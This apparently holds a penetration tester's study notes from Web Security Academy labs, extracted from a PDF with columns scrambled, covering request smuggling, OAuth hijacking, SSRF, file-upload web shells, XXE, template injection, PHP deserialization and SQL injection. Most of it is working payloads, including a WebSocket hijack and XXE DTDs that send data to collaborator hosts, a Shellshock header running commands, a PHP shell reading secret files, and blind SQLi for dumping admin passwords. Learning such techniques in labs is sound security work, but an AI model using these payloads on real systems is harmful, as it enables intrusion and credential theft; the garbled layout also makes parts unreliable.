Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 338
Transfer-Encoding: chunked
csrf=SBD1GC6lAH9SERvVB0tx3vpfSn4CJqWS&postId=6&name
=test&email=a%40b.com&website=https%3A%2F
%2Fwww.test.com&comment=a
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
x=1
Notes
<iframe src="https://lab-id/oauth-linking?
code=<code>"></iframe>
1. Check if any request parameter is used for access control, could be something in cookie or even another parameter in the re
# Example :
Normal Flow : home -> page1 -> page2 -> page3
Vuln Flow : home -> page1 -> page3
# Example
Req 1 : GET /admin/update?
user=carlos&action=upgrade
Req 2 : GET /admin/update?
user=carlos&confirmed=yes&action=upgrade
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
</script>
No token, no problem
Take your CSRF token, put it in
/?search=test
Set-Cookie: csrfKey=YOUR-KEY;
SameSite=None
/?search=test%0d%0aSet-Cookie:%20csrf=fake
%3b%20SameSite=None
X-Forwarded-Proto
1. `vary` header is used to make unkeyed
elements a keyed element.
2. Use XSS to find the User-Agent of the victim
3. Use that User-Agent from logs in your request
& get it cached
GET /oauth-linking?
code=gF3JqG69oIp7MLD622S5uDnWqFlHa1ydShJsiqgh2Iy
HTTP/2
Host: 0a7000bf04563a1c82d5881000ae007c.web-security-
academy.net
Cookie: session=udMr3rO72dqtLQVdTbU4bVdyFmcA0T7M
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/122.0.6261.112 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/
avif,image/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site Host: oauth-0aaa006a033534708255dbfe0230008b.oauth-server
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://oauth-
0a6800b804d73a6e82f386d60291005d.oauth-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
EXPLOIT SERVER
<iframe src="https://oauth-
0a9900740305464781430fa5027a0066.oauth-server.net/
auth?
client_id=zgpyqu5w9sjvtf159a084&redirect_uri=https://
exploit-0ae000cf032d46538174106101b30048.exploit-
server.net/exploit&response_type=code&scope=openid
%20profile%20email"></iframe>
<script>
if (!document.location.hash) {
window.location = 'https://oauth-
0a2b00b303ea208880560bfa02d100ff.oauth-server.net/auth
?client_id=mtyttcqiktkjol7896w7l&redirect_uri=https://
0a5d002e0375205a80980d0b00a40069.web-security-
academy.net/oauth-callback/../post/next?path=https://
exploit-0a8a0073032020f780570cdb0192004d.exploit-
server.net/exploit/
&response_type=token&nonce=399721827&scope=openid
%20profile%20email'
} else {
window.location =
'/?'+document.location.hash.substr(1)
}
</script>
Sec-Ch-Ua-Mobile: ?0
Priority: u=0, i
<script>
websocket = new WebSocket('wss://0a5600690383c42684d69a5a0074004c.web-security-academy.net/chat')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://sb7h9c1ohco50t1svkgpoq9hs8yzmqce1.oastify.com/?'+event.data, {mode: 'no-cors'})
}
</script>
GET /js/geolocate.js?
callback=setCountryCookie&utm_content=anything;callback
=alert(1) HTTP/2
Host: 0a790093042a483781b6a7ae001a00ee.web-security-
academy.net
Cookie: country=[object Object];
session=bG2PChcY1s7FELRxWBu8ZYFzpF55ejp4
X-Host::
X-Forwarded-For:
X-HTTP-Host-Override:
Forwarded:
# CL.TE
0
# TE.CL
converter : https://coolconversion.com/math/binary-octal-hexa-dec
5e #length of the data including 0
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Admin interface only available if logged in as an
administrator, or if requested from 127.0.0.1
Vulnerability Test Case
Directory Traversal Absolute Path
URL Encoding
- StockAPI
- Referer Header
- Next Product (OpenRedirect) Bypassing Blacklist
- On host header you get, CLIENT
ERROR Forbidden
SSRF Shellshock
User-Agent:() { :; }; /usr/bin/nslookup $
(whoami).xtulb4ze9r38qbyrzf4h5yhkfbl29xxm.oa
stify.com
Bypass Blacklist
Magic Bytes
Race Condition
Other Ways
# Indicators
http://127.0.0.1
stockapi=http://127.0.0.1/admin
stockapi=http://127.0.1/admin
stockapi=http://127.1/admin
stockapi=http://localhost/admin
stockapi=http://127.0.0.1:22 #try different port
numbers
# Other things that resolves to 127.0.0.1
2130706433
017700000001
- Register your own domain that resolved to
127.0.0.1 ( burp collaborator can be used )
- Try switching b/w https: http: etc
<?php echo
Create shell.php & upload it
file_get_contents('/home/carlos/secret'); ?>
# Change to
Upload the shell as is, just
image/jpeg
change the content type
image/png
If uploaded, but not executed,
change the directory, the file is
uploaded to
- /files/avatar/1.php to
/files/2.php
# .htaccess
AddHandler application/x-httpd-
php .php .php5 .html .htm
Override `.htaccess` or
# web.config
`web.config` file
<staticContent>
<mimeMap fileExtension=".json"
mimeType="application/json" />
</staticContent>
.php5
.shtml
- Case-sensitive Validation : changing `.php` to
`.pHp`
- Provide multiple extensions `exploit.php.jpg`
- Add trailing characters `exploit.php.`
- Try URL encoding `exploit%2fphp`
- Null Byte `exploit.asp;.jpg` or `exploit.asp
%00.jpg`
- If non recursive validation is there, then try
`exploit.p.phphp` -> `exploit.php`
GIF87a
GIF89a
# Only unix
;
0x0a or \n ( new line character )
# To inject commands
`pwd`
$(pwd)
# DTD
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://vpon1twgjd129ib7rmek6p9iy940swgl.oastify.
com/?x=%file;'>">
%eval;
%exfil;
# Request Body
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-
0a2d00b5048796ef82fced7301af009a.exploit-
server.net/exploit"> %xxe;]>
<stockCheck>
<productId>1</productId><storeId>1</storeId></
stockCheck>
# DTD
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'file:///invalid/%file;'>">
%eval;
%exfil;
# Request Body
<?xml version="1.0" encoding="UTF-8" Changed content type to XML
standalone="no"?> and then exploited it.
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-
0a7900b904d986098006d9c301d9009d.exploit-
server.net/exploit.dtd"> %xxe;]>
<root>
<productId>1</productId>
<storeId>3</storeId>
</root>
productId=<foo+xmlns%3axi%3d"http%3a//
www.w3.org/2001/XInclude"><xi%3ainclude+parse
%3d"text"+href%3d"file%3a///etc/passwd"/></
foo>&storeId=1
# Detection
{{ 7*7 }} : gives error with django templates
ih0vr{{364|add:733}}d121r -> ih0vr1097d121r
# Exploitation
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%
{% debug %} # find the object `settings`, look it up
online, you'll find an attribute SECRET_KEY
# Original
O:4:"User":2: Getting access to admin
{s:8:"username";s:6:"wiener";s:12:"access_token";s account, by exploiting how php
:32:"c0fpqkjg667odl5i52g20g9r9714lnns";} treats JS, 'adasdasda'=='0' will
be true, as php will convert the
# Tampered string in number and if the first
O:4:"User":2: character is a number, it'll be
{s:8:"username";s:13:"administrator";s:12:"access_ true, otherwise false
token";i:0;}
# Original
O:4:"User":3:
{s:8:"username";s:6:"wiener";s:12:"access_token";s
:32:"ynuxehl8lrouh4fxaxri1bsylz8047gs";s:11:"avat
ar_link";s:19:"users/wiener/avatar";}
Deleting or accessing carlos's
file
# Tampered
O:4:"User":3:
{s:8:"username";s:6:"wiener";s:12:"access_token";s
:32:"ynuxehl8lrouh4fxaxri1bsylz8047gs";s:11:"avat
ar_link";s:23:"/home/carlos/morale.txt";}
- Step 2 :
Once identified the framework, which is `Symfony - Here the token is signed,
Version 4.3.6`, use phpgcc to create payload hence we would need the
./phpggc Symfony/RCE7 exec 'rm secret key to sign it.
/home/carlos/morale.txt' | base64 -w0
- Step 3 :
Before we can use this, we would need to sign it
using the SECRET_KEY from phpinfo.php, once
done, simply replace the cookie and yoooooooo
Then run
echo "payload" | base64 -d | base64 -w0 & copy
admin' -- -
admin' AND 1=1-- -
# Determining Number Of Columns Displayed
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# Getting Tables
SELECT * FROM information_schema.tables
# Getting Columns
SELECT * FROM information_schema.columns
WHERE table_name = 'Users'
```sql
TrackingId=ogAZZfxtOKUELbuJ' AND
1=CAST((SELECT 1) AS int)--
```
```sql
TrackingId=ogAZZfxtOKUELbuJ' AND
1=CAST((SELECT username FROM users) AS
int)--`
```
```bash
Unterminated string literal started at position 95 in
SQL SELECT * FROM tracking WHERE id =
'xZV7TA0ZeTWXF0QZ' AND 1=CAST((SELECT
username FROM users) AS'. Expected char
```
```sql
TrackingId=x' AND 1=CAST((SELECT username
SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR
DELAY '0:0:{delay}'--
# LAB
Setting TRUE & FALSE conditions
```bash
`TrackingId=x';SELECT CASE WHEN(1=1) THEN
pg_sleep(10) ELSE pg_sleep(0) END-- -
```
```bash
umnGRjvzUWOjjA18'; SELECT CASE
WHEN(username='administrator') THEN
pg_sleep(10) ELSE pg_sleep(0) END FROM
users-- -
```
```bash
umnGRjvzUWOjjA18'; SELECT CASE
WHEN(length(password)=20) THEN pg_sleep(10)
ELSE pg_sleep(0) END FROM users-- -
```
- Enumerating passwords
```bash
umnGRjvzUWOjjA18'; SELECT CASE
WHEN(SUBSTRING(password,1,1)='a') THEN
pg_sleep(10) ELSE pg_sleep(0) END FROM users
WHERE username='administrator'-- -
```
; exec master..xp_dirtree
'//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollabo
rator.net/a'--
TrackingId=x'+UNION+SELECT+EXTRACTVALUE
(xmltype('<%3fxml+version%3d"1.0"+encoding
%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+
%25+remote+SYSTEM+"http%3a//'||
(SELECT+password+FROM+users+WHERE+user
name%3d'administrator')||'.BURP-
COLLABORATOR-SUBDOMAIN/">+%25remote
%3b]>'),'/l')+FROM+dual--
<@hex_entities>
1 UNION SELECT username ||
'~' || password FROM users
<@/hex_entities>
# Exfiltrating Data